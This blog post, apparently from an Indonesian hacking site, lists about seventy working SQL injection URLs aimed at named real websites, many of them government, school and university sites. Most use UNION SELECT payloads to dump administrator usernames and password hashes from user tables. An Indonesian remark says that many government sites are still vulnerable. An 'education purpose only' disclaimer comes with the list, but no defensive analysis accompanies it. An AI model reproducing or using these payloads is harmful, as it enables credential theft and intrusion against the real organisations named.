LFI to RCE via access_log injection

Indonesian Vuln Sites [ part two ]

http://www.warmasif.co.id/kesehatanonline/mod.php?mod=publisher&op=viewarticle&artid=-184%20union%20select%201,2,3,4,5,6,7,8,9,10,11--

http://elink.dinkespurworejo.go.id/mod.php?mod=publisher&op=viewarticle&artid=-7%20union%20select%201,2,3,4,5,6,7,8,9,10,11--

http://info.balitacerdas.com/mod.php?mod=publisher&op=viewarticle&artid=-45%20union%20select%201,2,3,version(),5,group_concat(name,0x3a,pwd),7,8,9,10,11%20from%20authors--

http://www.e-iklanbaris.com/mod.php?mod=publisher&op=viewarticle&cid=28&artid=-112%20union%20select%201,2,version(),4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.perpustakaan-islam.com/mod.php?mod=publisher&op=viewarticle&artid=-105%20union%20select%201,2,3,version(),5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.tigapilar.org/mod.php?mod=publisher&op=viewarticle&cid=5&artid=-762%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.trubus-online.co.id/mod.php?mod=publisher&op=viewarticle&cid=4&artid=-1190%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.tipsiklan.com/mod.php?mod=publisher&op=viewarticle&cid=14&artid=-45%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.batamiklan.com/mod.php?mod=publisher&op=viewarticle&cid=1&artid=-9%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.dinashut-jateng.go.id/mod.php?mod=publisher&op=viewarticle&artid=-12%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.jatipurno.wonogiri.org/mod.php?mod=publisher&op=viewarticle&cid=11&artid=-9%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.pitoyo.com/mod.php?mod=publisher&op=viewarticle&artid=-407%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://bandband.awardspace.com/mod.php?mod=publisher&op=viewarticle&cid=8&artid=-14%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://members.lycos.co.uk/bsitangerang/mod.php?mod=publisher&op=viewarticle&artid=-6%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://denken.co.id/mod.php?mod=publisher&op=viewarticle&cid=6&artid=-42%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://duniakita.net/mod.php?mod=publisher&op=viewarticle&cid=10&artid=-28%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://bulutangkis.com/mod.php?mod=publisher&op=viewarticle&artid=-5177%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.giriwoyo.wonogiri.org/mod.php?mod=publisher&op=viewarticle&cid=3&artid=-157%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.eromoko.wonogiri.org/mod.php?mod=publisher&op=viewarticle&cid=3&artid=-26%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.pracimantoro.wonogiri.org/mod.php?mod=publisher&op=viewarticle&cid=&artid=-54%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.endonesia.org/mod.php?mod=publisher&op=viewarticle&cid=1&artid=-15%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.indonesia-relief.org/mod.php?mod=publisher&op=viewarticle&cid=4&artid=-1718%20union%20select%201,2,version(),4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.nusatenggaranews.com/mod.php?mod=publisher&op=viewarticle&cid=9&artid=-6425%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.infoibu.com/mod.php?mod=publisher&op=viewarticle&artid=-65%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.agenpulsa.info/mod.php?mod=publisher&op=viewarticle&artid=-93%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://pfi3p.litbang.deptan.go.id/mod.php?mod=publisher&op=viewarticle&artid=-60%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.tambangnews.com/mod.php?mod=publisher&op=viewarticle&cid=5&artid=-861%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.arifhidayat.com/mod.php?mod=publisher&op=viewarticle&cid=1&artid=-160%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://mitrawacanawrc.com/mod.php?mod=publisher&op=viewarticle&cid=&artid=-1500%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.bogornews.com/mod.php?mod=publisher&op=viewarticle&artid=-1389%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://id.smpn1-prob.sch.id/mod.php?mod=publisher&op=viewarticle&cid=6&artid=-46%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.sentralweb.com/sentralweb/mod.php?mod=publisher&op=viewarticle&artid=-3%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.bg-station.com/mod.php?mod=publisher&op=viewarticle&cid=12&artid=-8%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.duniaflora.com/mod.php?mod=publisher&op=viewarticle&cid=&artid=-46%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.wonogiri.org/mod.php?mod=publisher&op=viewarticle&cid=49&artid=-44614%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.siwakz.net/mod.php?mod=publisher&op=viewarticle&artid=-7%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.nusacendanabiz.com/mod.php?mod=publisher&op=viewarticle&cid=&artid=-46%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://inspirasimu.com/mod.php?mod=publisher&op=viewarticle&cid=&artid=-71%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.konteriklan.com/mod.php?mod=publisher&op=viewarticle&artid=-40%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://amarullahfatimah.com/mod.php?mod=publisher&op=viewarticle&cid=1&artid=-190%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.kismantoro.wonogiri.org/mod.php?mod=publisher&op=viewarticle&cid=9&artid=-14%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://daunbagus.com/mod.php?mod=publisher&op=viewarticle&artid=-94%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.gayahidupsehatonline.com/mod.php?mod=publisher&op=viewarticle&cid=3&artid=-235%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://kliksuper.com/mod.php?mod=publisher&op=viewarticle&cid=15&artid=-78%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://kfm.depsos.go.id/mod.php?mod=publisher&op=viewarticle&artid=-10%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.hanyalelaki.com/mod.php?mod=publisher&op=viewarticle&artid=-100%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.kpu-kotabogor.com/mod.php?mod=publisher&op=viewarticle&artid=-13%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.adjogja.com/mod.php?mod=publisher&op=viewarticle&cid=10&artid=-101%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://rumahusaha.com/portal/mod.php?mod=publisher&op=viewarticle&artid=-105%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://www.mesjidui.ui.edu/mod.php?mod=publisher&op=viewarticle&cid=3&artid=-3%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.pedulisampah.org/mod.php?mod=publisher&op=viewarticle&artid=-11%20union%20select%201,2,3,4,5,6,group_concat(name,0x3a,pwd),8,9,10,11%20from%20authors--

http://1satu.com/mod.php?mod=publisher&op=viewarticle&cid=5&artid=-7%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

http://www.pernak-pernik.com/News_Detail.php?id=-79%20union%20select%201,group_concat(uid,0x3a,pwd),3,4,5,6%20from%20muser--

http://www.mahasiswa.com/index.php?blog_id=-108%20union%20select%201,2,3,4,group_concat(User_Name,0x3a,User_Password),6,7,8,9%20from%20tbl_member--

http://www.hits.co.id/HITS2007/news_detail.php?id=-47%20union%20select%201,2,3,4,5,6,database(),group_concat(ad_username,0x3a,ad_password),9,10,11,12,13%20from%20tbl_admin--

http://www.dilemmaku.com/news_detail.php?id=-1%20union%20select%201,2,version(),group_concat(user_id,0x3a,username,0x3a,passwd),5,6,7%20from%20tb_user--

http://www.smart-dent.com/news_detail.php?id=-20%20union%20select%201,group_concat(username,0x3a,password),3,4,5%20from%20user--

http://www.signyband.com/news_detail.php?id=-6%20union%20select%201,2,group_concat(username,0x3a,password),4,database(),6,7,8,9,10%20from%20mod_tbluser--

http://www.m-wizard.biz/news_detail.php?id=-3%20union%20select%20group_concat(user_id,0x3a,user_password,0x3a,user_name),2,3,4%20from%20user_t--

http://www.barfo-mahdi.com/news-detail.php?ID=-16%20union%20select%201,group_concat(ClientName,0x3a,Account,0x3a,Password),3,database(),5,6,7,8,9,10,11%20from%20client--

http://layar.suaramerdeka.com/index.php?id=-316%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,password),17,18,19%20from%20users--

http://suko.web.id/info.php?id=-85%20union%20select%201,2,group_concat(username,0x3a,password),4,5%20from%20pemakai--

http://www.teledata.co.id/news_detail.php?nid=-2+union+select+1,concat_ws(0x3a,username,password),3,4+from+mycms_users--

http://www.multazam.co.id/news.php?mode=baca&info_id=-2%20union%20select%201,2,3,4,5,group_concat(Login_name,0x3a,Password),7,8,9%20from%20tb_user--

http://www.kedirikab.go.id/home.php?mode=content&submode=detail&id=-207%20union%20select%201,2,3,4,5,6,7,concat(tblpengguna_login,0x3a,tblpengguna_pass),9,10,11,12,13,14%20from%20tblpengguna--

http://www.bappeda.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-66%20union%20select%201,2,3,4,5,6,7,concat(tblpengguna_login,0x3a,tblpengguna_pass),9,10,11,12,13,14%20from%20tblpengguna--

http://bkol.jogja.go.id/home.php?mode=content&submode=detail&id=-158%20union%20select%201,2,3,4,5,6,7,concat(tblpengguna_login,0x3a,tblpengguna_pass),9,10,11,12,13,14%20from%20tblpengguna--

http://bapeda.jogjaprov.go.id/home.php?mode=content&submode=detail&id=-230%20union%20select%201,2,3,4,5,6,7,concat(tblpengguna_login,0x3a,tblpengguna_pass),9,10,11,12,13,14%20from%20tblpengguna--

http://simtol.pu.go.id/subditlahan/news.php?mode=baca&info_id=-3%20union%20select%201,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11%20from%20t_user--

[x] notes

+ just for education purpose only. author not responsibility for any damage!!

+ masih banyak site2 pemerintah yang vulnerable juga. hikz... :(

Comments

labatterie said…
Author not responsibility for any damage.